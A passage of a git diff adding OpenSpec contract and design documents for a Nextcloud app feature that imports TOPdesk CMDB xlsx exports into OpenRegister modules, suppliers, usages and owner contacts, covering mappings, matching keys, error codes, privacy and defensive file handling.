"", "message": "", "details": {...}}`. `details` is always an object, empty when the code has none. For `MISSING_COLUMN`, `details` is `{"sheet": "...", "column": "..."}`. For `NO_SOURCE_SHEET`, it is `{"expected": ["Onbeh Applicaties CMDB", "Beheerde Applicaties CMDB"]}`. For `TOO_MANY_ROWS`, it is `{"sheet": "...", "limit": 10000}`. For `FILE_TOO_LARGE`, it is `{"maxBytes": 10485760}`. For `MISSING_RECORDS_UNSUPPORTED`, it is `{"accepted": ["keep"]}`. + +### `POST /api/cmdb-import/{operationId}/cancel` +**Auth**: Nextcloud admin session plus CSRF token. + +**Request:** no body. + +**Response (200):** +```json +{ "success": true, "cancelRequested": true } +``` + +**Errors:** +| Code | Condition | +|------|-----------| +| 403 | not a Nextcloud admin | +| 404 | `OPERATION_NOT_FOUND`: no `cmdb_import` operation with this id | +| 412 | missing or invalid CSRF token | + +### `GET /api/progress/{operationId}` (existing, unchanged) +Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progress.total_items` is the number of non-empty rows read and `progress.processed_items` the rows done so far, updated after every row. `progress.status` is `running`, `completed` or `cancelled`. After completion, `progress.statistics.report` holds the report from the 200 response above, for as long as the tracker keeps the entry (one hour). + +## Error Codes + +| Code | Meaning | Condition | +|------|---------|-----------| +| `NO_FILE_UPLOADED` | no file | `cmdbFile` missing | +| `NOT_XLSX` | not an xlsx workbook | extension is not `.xlsx`, no ZIP signature, or no `xl/workbook.xml` | +| `FILE_TOO_LARGE` | too large | larger than the profile's `maxFileBytes` (10 MB) | +| `MISSING_RECORDS_UNSUPPORTED` | option not supported | `missingRecords` is not `keep` | +| `MUNICIPALITY_REQUIRED` | no consumer | neither `municipalityUuid` nor `municipalityName` given | +| `MUNICIPALITY_INVALID` | wrong consumer | uuid unknown, or the organisation is not of type Municipality | +| `NO_SOURCE_SHEET` | nothing to read | neither "Onbeh Applicaties CMDB" nor "Beheerde Applicaties CMDB" present | +| `MISSING_COLUMN` | required column absent | a present source sheet lacks "APPID" or "Applicatie Naam" | +| `TOO_MANY_ROWS` | file too large to process | a source sheet has more non-empty rows than `maxRowsPerSheet` (10,000) | +| `MAPPING_UNAVAILABLE` | mapping cannot run | OpenRegister's `MappingEngine`/`PackDefinitionValidator` missing, or a shipped pack is invalid | +| `READER_UNAVAILABLE` | xlsx reader missing | PhpSpreadsheet's Xlsx reader cannot be loaded | +| `NOT_CONFIGURED` | stackiq not configured (503) | OpenRegister's object service, the stackiq register, or the `module`, `organization`, `usage` or `contactPerson` schema cannot be resolved; checked before the file is read | +| `OPERATION_NOT_FOUND` | unknown operation | cancel for an id without a `cmdb_import` operation | +| `IMPORT_FAILED` | unexpected error | anything not listed above | + +## Versioning + +Internal app API, unversioned like the other stackiq settings endpoints. The report fields above are additive-only: new fields MAY be added, and existing fields keep their meaning. (Before the first release the row field `middelId` was renamed to `appId`, together with the switch of the match key to the APPID.) The `module` properties `externalId`, `externalNumber`, `externalKey`, `externalCreatedAt` and `externalModifiedAt` are part of the register schema and follow the register's versioning (`module` 0.3.5). + +## Breaking Change Policy + +A breaking change to the endpoints only affects stackiq's own settings section and ships in the same release. A change to the meaning of `externalKey` (the matching rule) is breaking for repeat imports. It requires a new OpenSpec change with a migration that rewrites the stored keys. + +## SLA + +Synchronous request. An unchanged 1,100-row export SHALL finish within PHP's default execution limits on the local rig. Progress is readable while the request runs. No availability promise beyond the Nextcloud instance itself. diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md new file mode 100644 index 000000000..5d6200808 --- /dev/null +++ b/openspec/changes/cmdb-export-import/design.md @@ -0,0 +1,432 @@ +# Design: cmdb-export-import + +## Context + +A municipality delivers its application landscape as a TOPdesk export (xlsx). The anonymised test export has ten sheets. The municipality's application manager exports AIA and APP from TOPdesk into the raw "Invoer AIA data" and "Invoer APP data" sheets; the CMDB sheets next to them are the overviews the municipality itself uses as "the CMDB", built from the raw sheets with formulas. Decided with the municipality on 2026-10-01: the import reads the two CMDB sheets, "Onbeh Applicaties CMDB" (35 columns, from AIA: applications **without** arranged maintenance) and "Beheerde Applicaties CMDB" (42 columns, from APP: **with** arranged maintenance). The "Invoer" sheets are not read; "Gearchiveerde Applicaties" is a follow-up (missing records). Both CMDB sheets carry formatted but empty rows below the data, and "Beheerde" also formula rows that reference empty "Invoer" rows. Every cell is a formula; the reader uses the cached values. Dates are Excel serial numbers. The file also contains document metadata, a SharePoint sensitivity label, an embedded Power Query package and an external data connection (`xl/connections.xml`). + +The chain baseline on the local rig (OpenRegister 2.1.34-unstable, OpenCatalogi 2.1.17-unstable, Portaliq 0.2.8-unstable, stackiq 0.2.4-unstable) fixed what the import has to produce: + +- OpenRegister's `POST /api/registers/{id}/import` cannot take this file. It maps sheet names to schema slugs and stops at the first unknown sheet. Migration packs work on CSV and JSON only, and one pack targets one schema. +- OpenCatalogi lists a stackiq `module` only through a catalogue that includes the stackiq register and `module` schema, and only when the module's `publicationDate` is set and not in the future. +- Portaliq shows an application to a municipality only through a `usage` whose `consumer` is the organisation in the account's `stackiq.organisationId` claim. + +Stackiq already has two upload imports: `SbomController` with `SbomImportService`, and `SettingsController::importArchiMate` with `ArchiMateImportService`. Both write through `ObjectServiceInterface` and report progress through `ProgressTracker`. This change follows the same pattern. + +## Goals / Non-Goals + +**Goals** + +- One admin action turns a TOPdesk export into modules, vendors, usages and owners for one municipality. +- Owner data is kept in stackiq and Nextcloud Contacts but is never publicly readable. +- Re-importing a newer export updates the same records and creates no duplicates. +- The mapping is data (JSON), not code, and runs through OpenRegister's mapping engine. +- An untrusted spreadsheet is read safely, and one bad row never breaks the import. + +**Non-Goals** + +- Connections, suites, hosting parties ("Hostingpartij"), "Leverancier", the archive sheet, the functional administrator as technical owner. +- Marking or removing records that disappeared from the export. +- A background job, a dry run, an `occ` command, a live TOPdesk connection. +- Writing OpenCatalogi catalogues or Portaliq accounts. + +## Architecture Overview + +``` +Admin settings, "CMDB import" section (CmdbImport.vue) + │ multipart: cmdbFile, municipalityUuid | municipalityName, + │ updateExisting, missingRecords, operationId (+ requesttoken) + ▼ +CmdbImportController::import() admin-only, CSRF, size/type checks + ▼ +CmdbExportImportService::import() + ├─ CmdbImportProfile lib/Settings/cmdb-import/topdesk-profile.json + 5 packs + │ (packs checked with OR PackDefinitionValidator) + ├─ CmdbWorkbookReader PhpSpreadsheet Xlsx, read-data-only, profile sheets only, + │ header-name columns, allowlisted columns, empty rows dropped + ├─ CmdbRowNormaliser trim, placeholder → empty, Excel serial → Y-m-d, numeric ids → string + ├─ OR MappingEngine::mapRow() once per pack per row + ├─ resolve per row, in order: + │ municipality (once) → manufacturer → module → owners → usage + │ via ObjectServiceInterface::searchObjects()/saveObject() + │ and StackiqContactSyncService (OCP\Contacts\IManager) + ├─ ProgressTracker operation `cmdb_import`, per-row progress, cancel + └─ report summary + one entry per counted row + ▼ +OpenRegister, register `stackiq`: module, organization, usage, contactPerson + ├─▶ OpenCatalogi search (module with publicationDate, via its catalogue) + └─▶ Portaliq (usage.consumer = the account's organisation) +``` + +## Decisions + +### D1. A stackiq service, not OpenRegister's import endpoint + +The import is a stackiq service plus controller (route A in the WOO-586 plan). + +- **Alternative: OpenRegister `/api/registers/{id}/import` with a migration pack.** Rejected. It does not accept a pack on xlsx, maps one sheet to one schema, and cannot link the objects it creates (usage.module, usage.consumer, module.provider). +- **Alternative: stackiq splits the file into one CSV per schema and runs four OpenRegister imports.** Rejected. Stackiq still has to split and link the rows, so the four pack runs add moving parts without taking work away. + +### D2. The mapping is a set of migration packs executed by OpenRegister's MappingEngine + +Each target has one pack in OpenRegister's migration-pack format (`id`, `name`, `sourceFormat: excel`, `version`, `fieldMappings`, `idStrategy: {type: generate}`, optional `defaults`). The service validates each pack with `OCA\OpenRegister\Service\MigrationPack\PackDefinitionValidator` when an import starts, and maps rows with `MappingEngine::mapRow($pack, $row, $rowNumber)`. The engine supplies `trim`, `date`, `lookup`, `concat` and `const`, the "required" rule, the guard that an unmapped lookup value never passes through, and errors that name the row, the column and the transform. + +Files, all in `lib/Settings/cmdb-import/`: + +| File | Target | Notes | +|---|---|---| +| `topdesk-profile.json` | none | The two sheets, each with its `constants` (the `Beheer` value added to every row) and `absentColumns` (pack columns the sheet is known not to have), key column, required columns, date and id columns, `emptyValues` (placeholders that mean empty), the pack per target, create-only fields, size and row limits | +| `topdesk-module.json` | `module` | Mapping errors on `required` mappings skip the row; lookups for hosting model and BBN level | +| `topdesk-manufacturer.json` | `organization` (Supplier) | Empty "Vendor" means no provider | +| `topdesk-municipality.json` | `organization` (Municipality) | Maps the options row `{municipalityName}`, not a sheet row | +| `topdesk-usage.json` | `usage` | Lookups for status and TIME class; the maintenance note | +| `topdesk-business-owner.json` | owner identity | `name`, `role`; the service turns it into a contact and a `contactPerson` | + +There is no technical-owner pack: the functional administrator (FB contactpersoon) is not imported (decided 2026-10-01). + +Stackiq-specific settings live in the profile, not in the packs, so every pack stays a valid OpenRegister pack. + +`MappingEngine` and `PackDefinitionValidator` are not part of OpenRegister's `Contract` namespace. The service resolves them from the container inside a guard. If either is missing, the import answers 503 `MAPPING_UNAVAILABLE` before it reads the file. + +- **Alternative: OpenRegister's Twig-based `MappingService::executeMapping()` with `Mapping` entities shipped in the register's `components.mappings`.** Those mappings would be editable in OpenRegister's UI. Rejected for now: lookups and "required" would have to be written as Twig templates, and errors would come without row and column. Kept as an option if admins need to edit the mapping in a UI. +- **Follow-up (not built here):** before using the shipped file, look up a pack with the same `id` in OpenRegister's migration-pack store (`MigrationPackService::findByPackSlug()`). An admin could then override the mapping through `POST /api/migration-packs/import`, without a release. + +### D3. Reading the workbook + +`CmdbWorkbookReader` checks the upload, then reads it: + +1. Before PhpSpreadsheet: the name ends in `.xlsx`, the first bytes are the ZIP signature `PK\x03\x04`, and `ZipArchive` lists `xl/workbook.xml`. Otherwise 400 `NOT_XLSX`. +2. `new \PhpOffice\PhpSpreadsheet\Reader\Xlsx()`, then `setReadDataOnly(true)` and `setLoadSheetsOnly([...profile sheet names that exist])`. The sheet names come from `listWorksheetNames()`. The class comes from OpenRegister's vendor directory, which is loaded whenever OpenRegister is enabled. It is checked with `class_exists`; if absent, 503 `READER_UNAVAILABLE`. +3. Row 1 holds the headers. Each header is normalised (trim, collapse whitespace, drop a trailing `:` or `⚡`, lower case) and matched to the column names the profile and the packs reference. Only those columns are kept. Every other cell, such as Personeelsnummer, phone numbers and group mailboxes, is never copied out of the reader. +4. For each cell the reader takes `getValue()`. For a formula cell (data type `f`) it takes `getOldCalculatedValue()`, the value Excel cached. It never calls `getCalculatedValue()` or `toArray()` with formula calculation. Every cell of the CMDB sheets is a formula, so this is the normal path. A formula without a cached value (no `` in the file, for example a workbook written by a tool that does not calculate) is read as empty and its column is listed in the row's `uncached`; the service turns that into the row warning `Column "…": formula without a cached value, read as empty`. It never fails the row. A cached number `0` is what Excel stores for a reference to an empty cell, and is read as empty. +5. A row whose kept cells are all empty is dropped and not counted. With rule 4 this also drops the formula rows that reference empty "Invoer" rows. +6. Columns are resolved per sheet. A required column missing on a present sheet stops the import; an optional one gives one import-level warning, unless the profile lists it in that sheet's `absentColumns` (`Nickname` exists only on "Beheerde"). A source sheet with more than `maxRowsPerSheet` (10,000) non-empty rows stops the import with 422 `TOO_MANY_ROWS`. + +External connections, the Power Query package and hyperlinks are never resolved: PhpSpreadsheet does not follow them, and the reader gets no HTTP client. + +### D4. Normalising a row before mapping + +`CmdbRowNormaliser` turns reader output into the flat `column => string` row the engine expects: + +- Values listed in the profile's `emptyValues` for their column become empty, compared case-insensitively before any conversion: `NB` in "BNN Classificatie" (the CMDB sheet's "niet bekend") and `49675` (2036-01-01) in "End-of-Life Functioneel" (the CMDB sheet's placeholder for "no end-of-life date"; its formula turns an empty date, or TOPdesk's 2099-12-31, into 49675). +- Columns listed in the profile's `dateColumns` ("Datum", "Referentie datum wijziging", "End-of-Life Functioneel"): a numeric value is converted with `PhpOffice\PhpSpreadsheet\Shared\Date::excelToDateTimeObject()` in UTC and written as `Y-m-d`. For example, `45111.38…` becomes `2023-07-04` and `53359` becomes `2046-02-01`. A non-numeric value stays as it is, so the pack's `date` transform (`sourceFormat: Y-m-d`) either accepts it or reports a warning. +- Columns listed in `idColumns` ("APPID"): a whole number becomes a string without a decimal part (`1234.0` becomes `"1234"`). +- The constants of the row's sheet are added before mapping (`Beheer` = `Beheer geregeld: nee` on "Onbeh", `ja` on "Beheerde"), so the usage pack can map the sheet like a column. +- Every value is trimmed. An empty string counts as empty. + +The engine's `date` transform only parses formatted strings. Doing the serial conversion in the normaliser keeps the packs plain OpenRegister packs. + +### D5. Matching key and upsert + +The key is the TOPdesk APPID (the ICT Applicatienummer), scoped to the municipality: `externalKey = "topdesk:" + municipalityUuid + ":" + APPID`. Decided with the municipality on 2026-10-01: the Middel-ID (CMDB column "Applicatie Code") can be changed in TOPdesk, the APPID cannot; the first real import also showed the Middel-ID prefix in two spellings (`APP-` and `App-`). The Applicatie Code is stored as `externalId` for reference and updated like any mapped field. APPIDs are unique within one TOPdesk instance, not across municipalities; with the scope, two municipalities can each import an APPID `101` without colliding. + +Per row: + +1. A row without an APPID is skipped (`missing APPID`). An APPID already seen in this upload, on either sheet, is skipped (`duplicate APPID in file`). The CMDB sheets have no "Soort" column, so there is no row-kind filter. +2. Look up the module with `searchObjects` on the configured register and module schema, filtered on `externalKey`, with `_rbac: false` and `_multitenancy: false` (as `SbomImportService` does; the caller is an admin). The result is cached for the run. +3. No match: create the module from the mapped data, plus `externalKey`, the create-only defaults (`type: Application`), and `publicationDate` (D6). +4. Match and `updateExisting=false`: skip with reason `exists`. +5. Match: merge the mapped fields onto the stored object. Every field the pack does not map stays as it is. Create-only fields stay as they are, unless the stored value is empty. If the merged object equals the stored one, do not save, and report `unchanged`. Otherwise save, and report `updated`. + +The APPID is also stored as `externalNumber`, so it is visible on the module. + +- **Alternative: the Middel-ID ("Applicatie Code") as the key**, as in the first version of this change. Rejected on 2026-10-01: it can change in the source. +- **Alternative: OpenRegister's `idStrategy: sourceField` (APPID as the object id).** Rejected. Object ids are global uuids, and the APPID is neither a uuid nor unique across municipalities. +- **Alternative: put the key on `usage` (per municipality by nature).** Rejected for this change: the key on `module` was decided in the plan (Q3), and the usage is found from the module anyway (D7). + +### D6. publicationDate + +- New module: `publicationDate` = the import's start time (ISO 8601 with offset). This makes it visible to OpenCatalogi, given a catalogue that covers the stackiq `module` schema. +- Existing module: `publicationDate` and `depublicationDate` are never written, also when they are empty. An admin who depublished an imported module keeps it depublished. + +### D7. Related objects and their order + +Per row, in this order: + +1. **Municipality** (once per import): `municipalityUuid` must resolve to an `organization` of type `Municipality`. Otherwise 422 `MUNICIPALITY_INVALID`. With `municipalityName`, the service reuses an existing Municipality with the same normalised name, or creates one through the municipality pack. +2. **Manufacturer**: map "Vendor" (the maker of the software) through the manufacturer pack. "Leverancier" (where the municipality buys it) and "Hostingpartij" are not read (follow-up). The normalised name (trim, collapse whitespace, lower case) is looked up in the run cache, then among `organization` objects of type `Supplier`. A new one is created only when neither matches. The first real import (1,137 rows, 479 suppliers) showed no two names that differ only in case, spacing or a legal-form suffix (`B.V.`, `BV`, `Inc.` …), so the normalisation is not widened. +3. **Module** (D5), with `provider` = the manufacturer when there is one. +4. **Owners** (D8). +5. **Usage**: `searchObjects` on `consumer` = municipality and `module` = module uuid. Create or merge the usage pack's fields, plus `consumer`, `module`, `provider` = the manufacturer, and `businessOwner`. `interneAnnotation` ("Beheer geregeld: ja|nee / Cluster / Applicatie Eigenaar (Afdeling)", empty parts left out) is create-only, because it is a free-text note an admin may edit. + +When step 3 succeeds and step 5 fails, the row is `failed` with the step named. The next import completes it, because every step is find-or-create. + +### D8. The owner as contact person + +Stackiq keeps a person's identity in Nextcloud Contacts. A `contactPerson` object holds only `contactsUid`, `role`, `organization` and `roles`. The owner is "Applicatie Eigenaar (Persoon)"; when TOPdesk has no owner the CMDB sheet shows the owner's function there instead, and the import uses that as the display name too. "Applicatie Eigenaar (Functie)" is the role; "Applicatie Eigenaar (Afdeling)" goes into the usage note (D7), because a contact person has no department field. The functional administrator (FB contactpersoon) is not imported, so there is no `technicalOwner`. + +1. The CMDB sheets carry no e-mail address, so the service runs `searchContacts(name)` and accepts only an exact, case-insensitive display-name match; otherwise `StackiqContactSyncService::syncToContacts('contactPerson', ['voornaam' => …, 'achternaam' => …, 'role' => …])` creates the contact. This avoids creating a new contact on every import. +2. Find the `contactPerson` with that `contactsUid` and `organization` = the municipality (run cache, then `searchObjects`). If none exists, create it with `role` = "Applicatie Eigenaar (Functie)" when given. +3. Set `usage.businessOwner` to its uuid. + +**Never public.** `contactPerson` and `usage` have read rules for named groups only, none for `public`, and a published `module` refers to them through `contactPerson` / `usages` relations. An anonymous OpenCatalogi search hit therefore carries at most ids, and OpenRegister's objects API returns no contact person or usage to an anonymous caller. `tests/Unit/Settings/CmdbPersonDataVisibilityTest.php` pins the read rules on the merged register; the e2e test checks the running stack anonymously. + +The import never calls the user-provisioning paths (`ContactpersoonService::processContactpersoon`, `convertToUser`). The scheduled `OrganizationSyncService::performUserSync` provisions users for contact persons. A unit test asserts that a `contactPerson` written by the import does not meet its selection criteria, and the implementation task verifies that before shipping (see Risks). When Contacts is disabled, owners are skipped with a warning and the row is still imported. + +### D9. Progress, cancel and the report + +The import runs inside the upload request, as the SBOM and ArchiMate imports do. The client sends a fresh `operationId`. The service calls `startOperation('cmdb_import', ['total_items' => rowCount])`, then `updateProgress` after each row and `completeOperation($report)` at the end. The UI polls the existing `GET /api/progress/{operationId}`. `POST /api/cmdb-import/{operationId}/cancel` calls `setCancelRequested()`. The service checks `isCancelRequested()` between rows and returns the partial report with `cancelled: true`. + +Report shape (contract.md is authoritative): `summary {rowsRead, created, updated, unchanged, skipped, failed, warnings}`, `importWarnings[]` (for example, a missing optional column), and `rows[] {sheet, row, appId, name, outcome, reasons[], warnings[], moduleUuid, usageUuid}`. Reasons name columns and values. They never name owners, e-mail addresses or other person data, and neither do log lines. + +### D10. Controller and validation order + +`CmdbImportController::import()` has neither `#[NoAdminRequired]` nor `#[NoCSRFRequired]`, so Nextcloud's middleware enforces admin and CSRF before the method runs. The method then checks, in this order: + +1. A file is present: otherwise 400 `NO_FILE_UPLOADED`. +2. Size: otherwise 413 `FILE_TOO_LARGE`. +3. xlsx: otherwise 400 `NOT_XLSX`. +4. `missingRecords` is `keep`: otherwise 422 `MISSING_RECORDS_UNSUPPORTED`. +5. A municipality is given: otherwise 422 `MUNICIPALITY_REQUIRED`. +6. The service runs. It answers 503 `MAPPING_UNAVAILABLE` or `READER_UNAVAILABLE`, 422 `NO_SOURCE_SHEET`, `MISSING_COLUMN`, `TOO_MANY_ROWS` or `MUNICIPALITY_INVALID`, or 200 with the report. + +Every expected service exception is translated to its status code in the controller (hydra gate controller-exception-translation). Only unexpected errors become 500, with a generic message and the detail logged. + +### D11. The settings section + +`src/views/settings/sections/CmdbImport.vue` sits next to `ArchiMateImportExport.vue` in `StackiqSettings.vue`, inside `AlwaysVisibleSection`, and is not added to the vue-router (hydra gate admin-router). + +- Municipality: an `NcSelect` with a label. It lists organisations of type Municipality, read through the OpenRegister objects API, and has an option to type a new name. +- File: an `` with a label. +- Options: an "Update existing records" checkbox. +- Import and Cancel buttons. +- During the import: `NcProgressBar` with a polite live region. +- Afterwards: summary counts and a `CnDataTable` report with an outcome filter and links to the modules. + +Cell values are shown with text interpolation only, never `v-html`. Requests use `@nextcloud/axios`, which sends the CSRF token. + +## Column mapping + +Source columns of "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB" and where they go, by header name. A column that one sheet lacks is optional there. Columns that are not listed are not read (D3). + +| Column | Sheets | Target | Rule | +|---|---|---|---| +| APPID | both | module.externalNumber; part of module.externalKey | trim, required, numeric to string, match key (D5) | +| Applicatie Naam | both | module.name | trim, required | +| Applicatie Code | both | module.externalId | trim; reference only (the Middel-ID; can change in the source) | +| Roepnaam | both | module.shortDescription | trim; wins over Nickname | +| Nickname | Beheerde | module.shortDescription | trim; used when Roepnaam is empty; listed as absent on Onbeh | +| Functionele Omschrijving | both | module.longDescription | trim | +| Applicatiesoort | both | module.cloudDienstverleningsmodel | lookup: `Saas`/`SaaS` → `["SaaS"]`, `PaaS` → `["PaaS"]`, `IaaS` → `["IaaS"]`, `On-premise(s)` → `["On-premises (self-managed)"]`; another value (such as `Webapplicatie`): warning, field dropped | +| BNN Classificatie | both | module.bbnLevel | `NB` is empty; lookup "BBN1"/"BBN 1"/"BNN1" etc. to `BBN1`/`BBN2`/`BBN3`; unknown value: warning | +| Datum | both | module.externalCreatedAt | Excel serial to date | +| Referentie datum wijziging | both | module.externalModifiedAt | Excel serial to date | +| Vendor | both | organization (Supplier) via module.provider and usage.provider | dedup on normalised name (D7) | +| Applicatie Status | both | usage.status | lookup: In productie → In production, In voorraad → Planned, In ontwikkeling → Acquisition, Uit te faseren → To be phased out, Uitgefaseerd → Phased out; unknown value: warning | +| Classificatie | both | usage.timeClassification | lookup Tolereren/Tolerate, Investeren/Invest, Migreren/Migrate, Elimineren/Eliminate | +| End-of-Life Functioneel | both | usage.startDateOutPhased | `49675` (2036-01-01) is empty; Excel serial to date | +| (sheet constant `Beheer`), Cluster, Applicatie Eigenaar (Afdeling) | both | usage.interneAnnotation | concat with " / ", empty parts dropped, create-only; `Beheer geregeld: nee` (Onbeh) or `ja` (Beheerde) | +| Applicatie Eigenaar (Persoon), Applicatie Eigenaar (Functie) | both | usage.businessOwner (contactPerson + Nextcloud contact; role = Functie) | D8; the person column may hold a function | +| Hostingpartij | both | not mapped | follow-up; "Leverancier" (where the municipality buys the software) is not on the CMDB sheets | +| Software Suite | both | not mapped (suite schema; needs a second pass) | follow-up | +| Applicatiecomponent, Bron, Datum Interface, Referentie element externe ID, Cloud, Rappeldatum, Rappelreden, Locatie BIOToets | both | not mapped | Cloud is derived from Applicatiesoort; Datum Interface is the export date | +| Beschikbaarheid, Integriteit, Vertrouwelijkheid, Applicatienut, Kwaliteit en betrouwbaarheid van leverancier, Flexibiliteit, Gebruikerstevredenheid, Reputatie risico | both | not mapped (no field on module or usage) | schema extension is out of scope | +| Standaard, Behandelgroep, End-of-life Technisch, End-of-support Technisch, Top5, COTS, Applicatie Nummer | Beheerde | not mapped | Applicatie Nummer repeats the APPID | +| every column of the "Invoer" sheets | – | never read | | + +## API Design + +The authoritative interface is in `contract.md`. In short: + +- `POST /api/cmdb-import`: multipart `cmdbFile`, plus `municipalityUuid` or `municipalityName`, `updateExisting` (default `true`), `missingRecords` (default `keep`) and `operationId`. Admin, CSRF. Answers 200 with the report, or one of the errors in D10. +- `POST /api/cmdb-import/{operationId}/cancel`: admin, CSRF. Answers 200 `{cancelRequested: true}`. +- `GET /api/progress/{operationId}`: the existing route, unchanged. + +## Database Changes + +No tables or Nextcloud migrations (ADR-001). The `module` schema gains five optional properties through a register fragment (see Mixed-spec rationale and `migration.md`). + +## Mixed-spec rationale (ADR-032) + +The change is `kind: code`. Its weight is the import service, controller, reader and settings section. It also contains a thin schema delta: `lib/Settings/register.d/topdesk-cmdb-import.json` adds `externalId`, `externalNumber`, `externalKey`, `externalCreatedAt` and `externalModifiedAt` to `module`, all optional strings or dates, and seeds three example modules. This is not the ADR-032 `mixed` anti-pattern: + +1. The delta is additive glue that exists only for this code. Nothing else reads the properties, and the import cannot be idempotent without a stored key (no existing `module` property can hold a TOPdesk id). +2. It follows the app's fragment convention (ADR-037), so it touches no other change's file. +3. It is deployed by the existing register import in the repair step, without a migration class. + +The fragment bumps `module` to `0.3.5`. Fragments are merged in filename order and a scalar `version` is overwritten by the last fragment that sets it. `maintenance-and-roadmap.json` sets `module` to `0.3.4`, so a fragment that sorts before it would have its bump overwritten, and the new properties would never deploy. The file is therefore named `topdesk-cmdb-import.json`, which sorts after it, and a unit test asserts that the merged register declares `module` version `0.3.5` with the five properties. + +## Declarative-vs-imperative decision (ADR-031) + +- **Imperative, because it is an external integration:** reading an uploaded third-party file, splitting a row into four linked objects, resolving contacts in Nextcloud Contacts, progress and cancel. These are not object lifecycle, aggregation, notification or relation rules that an `x-openregister-*` block can express. This is the external-integration exception: the service is imperative glue around the file. +- **Declarative:** what each column becomes (target property, transform, lookup, required) is JSON in OpenRegister's migration-pack format, executed by OpenRegister's `MappingEngine`. Changing the mapping changes no PHP. +- **Matching rule (stated once, enforced in code):** a module matches when its `externalKey` equals `topdesk::`. A usage matches on (`consumer`, `module`). A supplier matches on its normalised name and type `Supplier`. A contact person matches on (`contactsUid`, `organization`). +- **publicationDate rule (stated once, enforced in code):** set to the import's start time on create; never written on update. +- No `x-openregister-*` block is added or changed. The usage name keeps coming from the schema's existing name template. + +## Nextcloud Integration + +- Controllers: `CmdbImportController` (`import`, `cancel`), admin-only with CSRF, no `NoAdminRequired` / `NoCSRFRequired`. +- Services: `CmdbExportImportService` (orchestration), `Cmdb\CmdbWorkbookReader`, `Cmdb\CmdbRowNormaliser`, `Cmdb\CmdbImportProfile` (loads and validates the profile and packs). They reuse `ProgressTracker`, `SettingsService` (register and schema ids) and `StackiqContactSyncService`. +- OCP: `IRequest::getUploadedFile()`, `IUserSession`, `IL10N`, `OCP\Contacts\IManager` (through `StackiqContactSyncService`), `ICacheFactory` (through `ProgressTracker`). +- OpenRegister: `ObjectServiceInterface::searchObjects()` / `saveObject()` (contract), `MigrationPack\MappingEngine` and `PackDefinitionValidator` (container, guarded), PhpSpreadsheet (guarded). +- Mappers/Entities: none (ADR-001, ADR-008: Controller → Service → OpenRegister). +- Events/Hooks: none. Saves go through `saveObject()`, so the existing `ModuleRegistrationSubscriber` and `ModuleComplianceSubscriber` run as they do for any module save. + +## Security Considerations + +- **Auth and CSRF:** both routes are admin-only through Nextcloud's middleware, with CSRF required. This is stricter than `SbomController` and `importArchiMate`, which carry `NoCSRFRequired`. The admin check happens before the body is read. +- **File checks before parsing:** size limit (10 MB, profile), `.xlsx` extension, ZIP signature and `xl/workbook.xml`. `.xlsm` and `.xls` are rejected. The upload is read from PHP's temporary upload file and never written into Nextcloud Files. +- **No evaluation, no fetching:** read-data-only, profile sheets only, cached values for formula cells, no `getCalculatedValue()`, no HTTP client in the reader. External connections, Power Query packages and hyperlinks are inert. +- **Resource bounds:** row cap per sheet, and only allowlisted columns are kept. Memory is bounded by loading only the two CMDB sheets. +- **Injection:** every value is a string that goes through OpenRegister's schema validation on save, and is never used in SQL, file paths or templates. The UI renders values as text only. +- **Isolation:** every row runs in its own try/catch. Errors are reported per row, and the import continues. +- **Privacy:** the column allowlist keeps every person column except the owner out of memory; the "Invoer" sheets, which hold personnel numbers, phones and group mailboxes, are not read at all. Owner identity goes only to Nextcloud Contacts, and `contactPerson` and `usage` are never publicly readable (D8). Reports and logs carry no person data. +- **Fixture hygiene:** the test fixture is the anonymised export with document metadata, the custom properties (sensitivity label), `customXml/` (including the Power Query package) and `xl/connections.xml` removed. One small synthetic connection part is added back for the external-connection test. + +## NL Design System + +Nextcloud and `@conduction/nextcloud-vue` components only (ADR-012): `NcSelect`, `NcButton`, `NcCheckboxRadioSwitch`, `NcProgressBar`, `NcNoteCard` for errors, and `CnDataTable` for the report. The file input follows the label pattern of `ArchiMateImportExport.vue`. Colours and spacing come from Nextcloud CSS variables (ADR-003). Outcome badges reuse the existing status-tag styling. + +## File Structure + +``` +appinfo/ + routes.php (+ cmdbImport#import, cmdbImport#cancel) +lib/ + Controller/ + CmdbImportController.php + Service/ + CmdbExportImportService.php + Cmdb/ + CmdbImportProfile.php + CmdbWorkbookReader.php + CmdbRowNormaliser.php + CmdbImportReport.php + Exception/ + CmdbImportException.php (carries error code + HTTP status) + Settings/ + cmdb-import/ + topdesk-profile.json + topdesk-module.json + topdesk-manufacturer.json + topdesk-municipality.json + topdesk-usage.json + topdesk-business-owner.json + register.d/ + topdesk-cmdb-import.json (module 0.3.5: five properties + seed modules) +src/views/settings/ + StackiqSettings.vue (registers the section) + sections/CmdbImport.vue +tests/ + fixtures/cmdb/ + topdesk-export-anonymised.xlsx (sanitised copy of the test export) + topdesk-missing-appid.xlsx + topdesk-shuffled-columns.xlsx + topdesk-formula-and-connection.xlsx + Unit/Service/CmdbExportImportServiceTest.php + Unit/Service/Cmdb/CmdbWorkbookReaderTest.php + Unit/Service/Cmdb/CmdbRowNormaliserTest.php + Unit/Service/Cmdb/CmdbImportProfileTest.php + Unit/Controller/CmdbImportControllerTest.php + Unit/Settings/TopdeskCmdbFragmentTest.php + Unit/Settings/CmdbPersonDataVisibilityTest.php + e2e/spec-coverage/cmdb-import.spec.ts +docs/features/ + cmdb-import.md +l10n/ + en.json, en.js, nl.json, nl.js +``` + +## Seed Data + +Placeholders: uuids are nil-style (`00000000-0000-0000-0000-00000000000N`). All names are fictional ("Gemeente Voorbeeldstad", "Voorbeeld Software B.V."). No real people, addresses or numbers appear. + +### Schema: `module` (modified; seeded through the fragment's `components.objects`) + +The seeds show the new properties in a fresh install. They carry no `publicationDate`, so they are not published as open data, and no `externalKey`, because the key holds a municipality uuid that only exists at run time. + +| Field | Object 1 | Object 2 | Object 3 | +|---|---|---|---| +| @self | register `stackiq`, schema `module`, slug `voorbeeld-zaaksysteem` | slug `voorbeeld-afsprakenplanner` | slug `voorbeeld-belastingapplicatie` | +| name | Voorbeeld Zaaksysteem | Voorbeeld Afsprakenplanner | Voorbeeld Belastingapplicatie | +| type | Application | Application | Application | +| longDescription | Registreert en volgt zaken van intake tot archivering. | Laat inwoners online een afspraak maken bij de balie. | Berekent en verstuurt gemeentelijke belastingaanslagen. | +| externalId | APP-00001 | APP-00002 | AIA-00003 | +| externalNumber | 101 | 102 | 103 | +| externalCreatedAt | 2023-07-04 | 2022-03-16 | 